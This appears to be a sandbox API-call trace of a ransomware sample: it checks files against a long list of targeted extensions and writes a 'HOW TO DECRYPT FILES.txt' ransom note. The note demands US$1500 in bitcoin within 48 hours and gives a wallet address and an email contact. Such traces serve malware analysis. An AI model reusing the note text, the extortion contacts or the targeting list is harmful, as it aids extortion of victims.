PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.ems") returned 0 [0136.908] lstrlenA (lpString="*.ems") returned 5 [0136.908] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.db") returned 0 [0136.908] lstrlenA (lpString="*.db") returned 4 [0136.908] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.dbf") returned 0 [0136.908] lstrlenA (lpString="*.dbf") returned 5 [0136.908] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.myox") returned 0 [0136.908] lstrlenA (lpString="*.myox") returned 6 [0136.908] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.myo") returned 0 [0136.908] lstrlenA (lpString="*.myo") returned 5 [0136.908] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.qbw") returned 0 [0136.909] lstrlenA (lpString="*.qbw") returned 5 [0136.909] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.qbb") returned 0 [0136.909] lstrlenA (lpString="*.qbb") returned 5 [0136.909] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.qbm") returned 0 [0136.909] lstrlenA (lpString="*.qbm") returned 5 [0136.909] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.qbo") returned 0 [0136.909] lstrlenA (lpString="*.qbo") returned 5 [0136.909] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.qbx") returned 0 [0136.909] lstrlenA (lpString="*.qbx") returned 5 [0136.909] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.qba") returned 0 [0136.909] lstrlenA (lpString="*.qba") returned 5 [0136.909] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.qby") returned 0 [0136.909] lstrlenA (lpString="*.qby") returned 5 [0136.909] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.qbj") returned 0 [0136.909] lstrlenA (lpString="*.qbj") returned 5 [0136.909] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.ofx") returned 0 [0136.909] lstrlenA (lpString="*.ofx") returned 5 [0136.909] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.qif") returned 0 [0136.909] lstrlenA (lpString="*.qif") returned 5 [0136.909] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.mye") returned 0 [0136.909] lstrlenA (lpString="*.mye") returned 5 [0136.909] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.mbox") returned 0 [0136.909] lstrlenA (lpString="*.mbox") returned 6 [0136.909] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.eml") returned 0 [0136.909] lstrlenA (lpString="*.eml") returned 5 [0136.909] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.pst") returned 0 [0136.909] lstrlenA (lpString="*.pst") returned 5 [0136.910] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.ost") returned 0 [0136.910] lstrlenA (lpString="*.ost") returned 5 [0136.910] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.idx") returned 0 [0136.910] lstrlenA (lpString="*.idx") returned 5 [0136.910] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.dbx") returned 0 [0136.910] lstrlenA (lpString="*.dbx") returned 5 [0136.910] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.sql") returned 0 [0136.910] lstrlenA (lpString="*.sql") returned 5 [0136.910] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.mdb") returned 0 [0136.910] lstrlenA (lpString="*.mdb") returned 5 [0136.910] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.fdb") returned 0 [0136.910] lstrlenA (lpString="*.fdb") returned 5 [0136.910] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.wab") returned 0 [0136.910] lstrlenA (lpString="*.wab") returned 5 [0136.910] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.dat") returned 0 [0136.910] lstrlenA (lpString="*.dat") returned 5 [0136.910] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.txt") returned 0 [0136.910] lstrlenA (lpString="*.txt") returned 5 [0136.910] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.jpeg") returned 0 [0136.910] lstrlenA (lpString="*.jpeg") returned 6 [0136.910] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.jpg") returned 0 [0136.910] lstrlenA (lpString="*.jpg") returned 5 [0136.910] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.png") returned 0 [0136.910] lstrlenA (lpString="*.png") returned 5 [0136.910] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.php") returned 0 [0136.910] lstrlenA (lpString="*.php") returned 5 [0136.911] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.cs") returned 0 [0136.911] lstrlenA (lpString="*.cs") returned 4 [0136.911] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.cpp") returned 0 [0136.911] lstrlenA (lpString="*.cpp") returned 5 [0136.911] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.rar") returned 0 [0136.911] lstrlenA (lpString="*.rar") returned 5 [0136.911] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.zip") returned 0 [0136.911] lstrlenA (lpString="*.zip") returned 5 [0136.911] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.html") returned 0 [0136.911] lstrlenA (lpString="*.html") returned 6 [0136.911] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.htm") returned 0 [0136.911] lstrlenA (lpString="*.htm") returned 5 [0136.911] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.xlsx") returned 0 [0136.911] lstrlenA (lpString="*.xlsx") returned 6 [0136.911] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.xls") returned 0 [0136.911] lstrlenA (lpString="*.xls") returned 5 [0136.911] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.mp4") returned 0 [0136.911] lstrlenA (lpString="*.mp4") returned 5 [0136.911] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.ppt") returned 0 [0136.911] lstrlenA (lpString="*.ppt") returned 5 [0136.911] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.pptx") returned 0 [0136.911] lstrlenA (lpString="*.pptx") returned 6 [0136.911] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.doc") returned 0 [0136.911] lstrlenA (lpString="*.doc") returned 5 [0136.911] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.dot") returned 0 [0136.911] lstrlenA (lpString="*.dot") returned 5 [0136.911] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.docx") returned 0 [0136.911] lstrlenA (lpString="*.docx") returned 6 [0136.912] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.7z") returned 0 [0136.912] lstrlenA (lpString="*.7z") returned 4 [0136.912] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.tar") returned 0 [0136.912] lstrlenA (lpString="*.tar") returned 5 [0136.912] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.bz2") returned 0 [0136.912] lstrlenA (lpString="*.bz2") returned 5 [0136.912] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.gz") returned 0 [0136.912] lstrlenA (lpString="*.gz") returned 4 [0136.912] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.mkv") returned 0 [0136.912] lstrlenA (lpString="*.mkv") returned 5 [0136.912] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.eml") returned 0 [0136.912] lstrlenA (lpString="*.eml") returned 5 [0136.912] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.msg") returned 0 [0136.912] lstrlenA (lpString="*.msg") returned 5 [0136.912] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.edb") returned 0 [0136.912] lstrlenA (lpString="*.edb") returned 5 [0136.912] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.accdb") returned 0 [0136.912] lstrlenA (lpString="*.accdb") returned 7 [0136.912] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.odb") returned 0 [0136.912] lstrlenA (lpString="*.odb") returned 5 [0136.912] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.java") returned 0 [0136.912] lstrlenA (lpString="*.java") returned 6 [0136.912] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.asm") returned 0 [0136.912] lstrlenA (lpString="*.asm") returned 5 [0136.912] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.pfx") returned 0 [0136.912] lstrlenA (lpString="*.pfx") returned 5 [0136.912] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.pem") returned 0 [0136.913] lstrlenA (lpString="*.pem") returned 5 [0136.913] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.p12") returned 0 [0136.913] lstrlenA (lpString="*.p12") returned 5 [0136.913] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.gpg") returned 0 [0136.913] lstrlenA (lpString="*.gpg") returned 5 [0136.913] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.vsd") returned 0 [0136.913] lstrlenA (lpString="*.vsd") returned 5 [0136.913] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.odg") returned 0 [0136.913] lstrlenA (lpString="*.odg") returned 5 [0136.913] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.raw") returned 0 [0136.913] lstrlenA (lpString="*.raw") returned 5 [0136.913] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.nef") returned 0 [0136.913] lstrlenA (lpString="*.nef") returned 5 [0136.913] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.svg") returned 0 [0136.913] lstrlenA (lpString="*.svg") returned 5 [0136.913] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.psd") returned 0 [0136.913] lstrlenA (lpString="*.psd") returned 5 [0136.913] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.vmx") returned 0 [0136.913] lstrlenA (lpString="*.vmx") returned 5 [0136.913] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.vmdk") returned 0 [0136.913] lstrlenA (lpString="*.vmdk") returned 6 [0136.913] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.vdi") returned 0 [0136.913] lstrlenA (lpString="*.vdi") returned 5 [0136.913] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.lay6") returned 0 [0136.913] lstrlenA (lpString="*.lay6") returned 6 [0136.913] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.mpeg") returned 0 [0136.913] lstrlenA (lpString="*.mpeg") returned 6 [0136.913] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.djvu") returned 0 [0136.913] lstrlenA (lpString="*.djvu") returned 6 [0136.913] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.tiff") returned 0 [0136.913] lstrlenA (lpString="*.tiff") returned 6 [0136.914] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.backup") returned 0 [0136.914] lstrlenA (lpString="*.backup") returned 8 [0136.914] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.pdf") returned 0 [0136.914] lstrlenA (lpString="*.pdf") returned 5 [0136.914] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.cert") returned 0 [0136.914] lstrlenA (lpString="*.cert") returned 6 [0136.914] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.docm") returned 0 [0136.914] lstrlenA (lpString="*.docm") returned 6 [0136.914] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.xlsm") returned 0 [0136.914] lstrlenA (lpString="*.xlsm") returned 6 [0136.914] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.dwg") returned 0 [0136.914] lstrlenA (lpString="*.dwg") returned 5 [0136.914] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.nd") returned 0 [0136.914] lstrlenA (lpString="*.nd") returned 4 [0136.914] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.tlg") returned 0 [0136.914] lstrlenA (lpString="*.tlg") returned 5 [0136.914] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.lgb") returned 0 [0136.914] lstrlenA (lpString="*.lgb") returned 5 [0136.914] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.mov") returned 0 [0136.914] lstrlenA (lpString="*.mov") returned 5 [0136.914] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.xdw") returned 0 [0136.914] lstrlenA (lpString="*.xdw") returned 5 [0136.914] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.ods") returned 0 [0136.914] lstrlenA (lpString="*.ods") returned 5 [0136.914] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.wav") returned 0 [0136.914] lstrlenA (lpString="*.wav") returned 5 [0136.914] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.mp3") returned 0 [0136.914] lstrlenA (lpString="*.mp3") returned 5 [0136.914] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.aiff") returned 0 [0136.914] lstrlenA (lpString="*.aiff") returned 6 [0136.914] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.flac") returned 0 [0136.914] lstrlenA (lpString="*.flac") returned 6 [0136.915] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.m4a") returned 0 [0136.915] lstrlenA (lpString="*.m4a") returned 5 [0136.915] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\PresentationHostDLL.dll.mui", pszSpec="*.csv") returned 0 [0136.915] lstrlenA (lpString="*.csv") returned 5 [0136.915] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe136d4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe136d4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12770, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationHostDLL.dll.mui", cAlternateFileName="")) returned 0 [0136.915] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0136.915] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9dec0f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9dec0f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9dec0f5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10948, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="PenIMC.dll", cAlternateFileName="")) returned 1 [0136.915] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.915] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PenIMC.dll") returned -1 [0136.915] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PenIMC.dll") returned -1 [0136.915] lstrcmpiA (lpString1="", lpString2="PenIMC.dll") returned -1 [0136.915] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\*.*") returned="*.*" [0136.915] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" [0136.915] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\") returned="" [0136.915] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt" [0136.915] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\wpf\\how to decrypt files.txt")) returned 0xffffffff [0136.915] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\wpf\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0136.916] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0136.916] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0136.917] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0136.917] CloseHandle (hObject=0x90) returned 1 [0136.918] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\", lpString2="PenIMC.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll" [0136.918] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.ems") returned 0 [0136.918] lstrlenA (lpString="*.ems") returned 5 [0136.918] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.db") returned 0 [0136.918] lstrlenA (lpString="*.db") returned 4 [0136.918] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.dbf") returned 0 [0136.918] lstrlenA (lpString="*.dbf") returned 5 [0136.918] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.myox") returned 0 [0136.918] lstrlenA (lpString="*.myox") returned 6 [0136.918] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.myo") returned 0 [0136.918] lstrlenA (lpString="*.myo") returned 5 [0136.918] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.qbw") returned 0 [0136.918] lstrlenA (lpString="*.qbw") returned 5 [0136.918] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.qbb") returned 0 [0136.918] lstrlenA (lpString="*.qbb") returned 5 [0136.918] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.qbm") returned 0 [0136.918] lstrlenA (lpString="*.qbm") returned 5 [0136.918] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.qbo") returned 0 [0136.918] lstrlenA (lpString="*.qbo") returned 5 [0136.918] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PenIMC.dll", pszSpec="*.qbx") returned 0 [0136.918] lstrlenA (lpString="*.qbx") returned 5 [0136.918] PathMatchSpecA 